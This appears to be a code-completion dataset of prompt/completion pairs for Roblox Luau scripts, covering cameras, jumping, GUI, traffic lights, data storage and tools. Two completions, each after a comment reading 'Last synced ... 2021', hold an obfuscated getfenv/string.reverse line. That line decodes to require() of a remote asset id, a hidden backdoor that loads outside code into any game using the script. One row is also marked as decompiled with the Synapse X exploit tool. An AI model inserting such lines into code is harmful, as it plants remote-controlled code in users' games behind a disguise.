prompt stringlengths 2 14.7k | completion stringlengths 1 99.7k |
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-- This loads from, or lazily creates, NumberValue objects for exposed parameters |
function OrbitalCamera:LoadNumberValueParameters()
-- These initial values do not require change listeners since they are read only once
self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil)
self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil)
-- Note: ReferenceAzim... |
--[[ Last synced 7/31/2021 05:20 ... | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
-- Decompiled with the Synapse X Luau decompiler. |
local l__UserInputService__1 = game:GetService("UserInputService");
local u1 = nil;
local u2 = nil;
local u3 = false;
local u4 = false;
local u5 = nil;
local l__LocalPlayer__6 = game.Players.LocalPlayer;
local l__DoubleJump__7 = script:WaitForChild("DoubleJump");
function onJumpRequest()
if u1 then
if u2 then
i... |
-- |
local hue, saturation, value = 0, 0, 1;
local function update()
colour.BackgroundColor3 = Color3.fromHSV(hue, saturation, value);
local color3 = Color3.fromHSV(hue,saturation,value)
local r,g,b = color3.R,color3.G,color3.B
print(r)
print(g)
print(b)
color.Text = (tostring(math.floor(r*255))..","..tostring(ma... |
-- Function to bind to equip event |
local function equip()
local torso = player.Character.Torso
-- Setup joint variables
neck = torso.Neck
oldNeckC0 = neck.C0
shoulder = torso:FindFirstChild("Right Shoulder")
oldShoulderC0 = shoulder.C0
-- Remember old mouse icon and update current
oldIcon = mouse.Icon
mouse.Icon = "http://www.roblox.com/a... |
--[[
[How fast the body rotates.]
[Setting to 0 negates tracking, and setting to 1 is instant rotation. 0.5 is a nice in-between that works with MseGuide on or off.]
[Setting this any higher than 1 causes weird glitchy shaking occasionally.]
--]] |
local UpdateSpeed = 0.5
|
-- fn cst_flt_rdr(string src, int len, fn func)
-- @len - Length of type for reader
-- @func - Reader callback |
local function cst_flt_rdr(len, func)
return function(S)
local flt = func(S.source, S.index)
S.index = S.index + len
return flt
end
end
local function stm_inst_list(S)
local len = S:s_int()
local list = table.create(len)
for i = 1, len do
local ins = S:s_ins()
local op = bit.band(ins, 0x3F)
local a... |
-- Make the HotbarFrame, which holds only the Hotbar Slots |
HotbarFrame = NewGui('Frame', 'Hotbar')
HotbarFrame.Parent = MainFrame
|
--------------------------------------------- |
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 1
PedValues.PedSignal2a.Value = 1
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.... |
--[=[
Defaults the observable to a value if it isn't fired immediately
```lua
Rx.NEVER:Pipe({
Rx.defaultsTo("Hello")
}):Subscribe(print) --> Hello
```
@param value any
@return (source: Observable) -> Observable
]=] |
function Rx.defaultsTo(value)
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
local maid = Maid.new()
local fired = false
maid:GiveTask(source:Subscribe(
function(...)
fired = true
sub:Fire(...)
end,
sub:GetFai... |
-- The raw pixel size of the button and the offset needed for 9-slicing it |
local BUTTON_PIXEL_SIZE = 32 -- px
local SLICE_OFFSET = 6 -- px
local defaultProps = {
position = UDim2.fromScale(1, 1),
anchorPoint = Vector2.new(0.4, 0.4),
size = 24,
transparency = 0,
}
export type Props = typeof(defaultProps) & {
keyCode: Enum.KeyCode,
transparency: any?, -- Roact binding
}
KeyCodeIcon.de... |
--[[ Last synced 7/23/2021 04:30 ... | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[[
ROBLOX deviation: skipped code
original code lines: 376 - 416
]] | |
-- Gets the storage location for packages used by each Dev Modules. The packages
-- that get put in this folder are deduplicated so every distinct version of a
-- package has only one copy. |
local function getPackageStorage()
local packageStorage = constants.PACKAGE_STORAGE_LOCATION:FindFirstChild(constants.PACKAGE_STORAGE_NAME)
if not packageStorage then
packageStorage = Instance.new("Folder")
packageStorage.Name = constants.PACKAGE_STORAGE_NAME
packageStorage.Parent = constants.PACKAGE_STORAGE_... |
-- Signal class |
local Signal = {}
Signal.__index = Signal
function Signal.new(signal)
return setmetatable({
_handlerListHead = false,
_signalType = signal
}, Signal)
end
function Signal:Connect(fn)
local connection = Connection.new(self, fn)
if self._signalType == 1 and self._handlerListHead then
connection._next = self.... |
--[[
Creates a registry for the given class
]] |
function Registry.new(class)
local self = {
class = class,
objects = {}
}
setmetatable(self, {__index = Registry})
return self
end
|
-- ANimation |
local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
Debounce = 2
Track1 = plr.Character.Dragon.Dragonoid:LoadAnima... |
--[[**
<description>
Run this once to combine all keys provided into one "main key".
Internally, this means that data will be stored in a table with the key mainKey.
This is used to get around the 2-DataStore2 reliability caveat.
</description>
<parameter name = "mainKey">
The key that will be used to house the... |
function DataStore2.Combine(mainKey, ...)
for _, name in pairs({...}) do
combinedDataStoreInfo[name] = mainKey
end
end
function DataStore2.ClearCache()
DataStoreCache = {}
end
function DataStore2:__call(dataStoreName, player)
assert(typeof(dataStoreName) == "string" and typeof(player) == "Instance", ("DataStor... |
--script.Parent.LL.Velocity = script.Parent.LL.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.LLL.Velocity = script.Parent.LLL.CFrame.lookVector *script.Parent.Speed.Value |
script.Parent.LLLL.Velocity = script.Parent.LLLL.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.M.Velocity = script.Parent.M.CFrame.lookVector *script.Parent.Speed.Value |
--Don't modify this script unless you really know what you're doing. |
local WaitFor = (function(parent, child_name)
local found = parent:FindFirstChild(child_name)
while found == nil do
parent.ChildAdded:wait()
found = parent:FindFirstChild(child_name)
if found then break end
end
return found
end)
local last = { neckC1 = nil, rshoC0 = nil, lshoC0 = nil, rhipC0 = nil, lhipC0 ... |
--Generate a basic map |
local map = {}
map.sizeX = 100
map.sizeY = 100
map.fatgridSize = 10
map.grid = {}
map.fatgrid = {}
map.impassible = 1000000
local cardinals = { Vector3.new(-1,0,0),Vector3.new(1,0,0),Vector3.new(0,-1,0),Vector3.new(0,1,0) }
local corners = {
{ dir = Vector3.new(-1,-1,0), a = Vector3.new(-1, 0,0), b = Vector3.new... |
--set suitcase name to the player's name |
handle.BottomGui.OwnerName.Text = player.Name
handle.TopGui.OwnerName.Text = player.Name
|
-- import assign from 'object-assign'; |
local ReactCurrentDispatcher = require(script.ReactCurrentDispatcher)
export type Dispatcher = ReactCurrentDispatcher.Dispatcher
local ReactCurrentBatchConfig = require(script.ReactCurrentBatchConfig)
local ReactCurrentOwner = require(script.ReactCurrentOwner)
local ReactDebugCurrentFrame = require(script.ReactDebugCu... |
--Made by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RemovalMonitor = script:WaitForChild("RemovalMonitor")
CarpetPieces = {
{MeshId = 223079795, Angle = 160},
{MeshId = 223079835, Angle = 100},
{MeshId = 223079888, Angle = 100},
{Mes... |
--Player_UI.Player_IMG.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username=" ..Player.Name |
Player_UI.Player_Name.Text = Player.Name
Player_UI.Player_Cash.Text = Cash.Value.."$"
Cash.Changed:connect(function()
Player_UI.Player_Cash.Text = Cash.Value .. "$"
end)
|
--[=[
Converts to the string to lowerCamelCase
@param str string
@return string
]=] |
function String.toLowerCamelCase(str: string): string
str = str:lower()
str = str:gsub("[ _](%a)", string.upper)
str = str:gsub("^%a", string.lower)
str = str:gsub("%p", "")
return str
end
|
--[=[
Stops the timer.
]=] |
function Timer:Stop()
if not self._runHandle then return end
self._runHandle:Disconnect()
self._runHandle = nil
end
|
-- Functions |
local function closeMenu()
tpMenu.Enabled = false
end
b_close.MouseButton1Click:Connect(closeMenu)
|
----------------------------------------------------------------------------------------------- |
script.Parent:WaitForChild("Speedo")
script.Parent:WaitForChild("Tach")
script.Parent:WaitForChild("ln")
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()
local car = script.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay ... |
-- create a ScreenGui |
local screenGui = Instance.new("ScreenGui", playerGui)
|
--Wheel Alignment (Dont physically align the wheels, use these values) |
Tune.FCamber = -2
Tune.RCamber = 0
Tune.FToe = 0
Tune.RToe = 0
Tune.FCaster = 0
Tune.RCaster = 0
Tune.StAxisOffset = 0
|
-- Etc |
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath")
local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled")
local DEATH_DESTROY_DELAY = game.ServerStorage.Respaw.Garcom.Value
local PATROL_WALKSPEED = 8
local MIN_REPOSITION_TIME = 2
local MAX_REPOSITION_TIME = 10
local MAX_PARTS_PER_HEARTBEAT = 50
local... |
------------------------------------------------------------------------
-- stuff |
do
script.Parent.Equipped:connect(function()
if player == nil then
player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
end
if character == nil or character.Parent == nil then
character = script.Parent.Parent
humanoid = character.Humanoid
isR15 = humanoid.RigType == Enum.HumanoidRigTy... |
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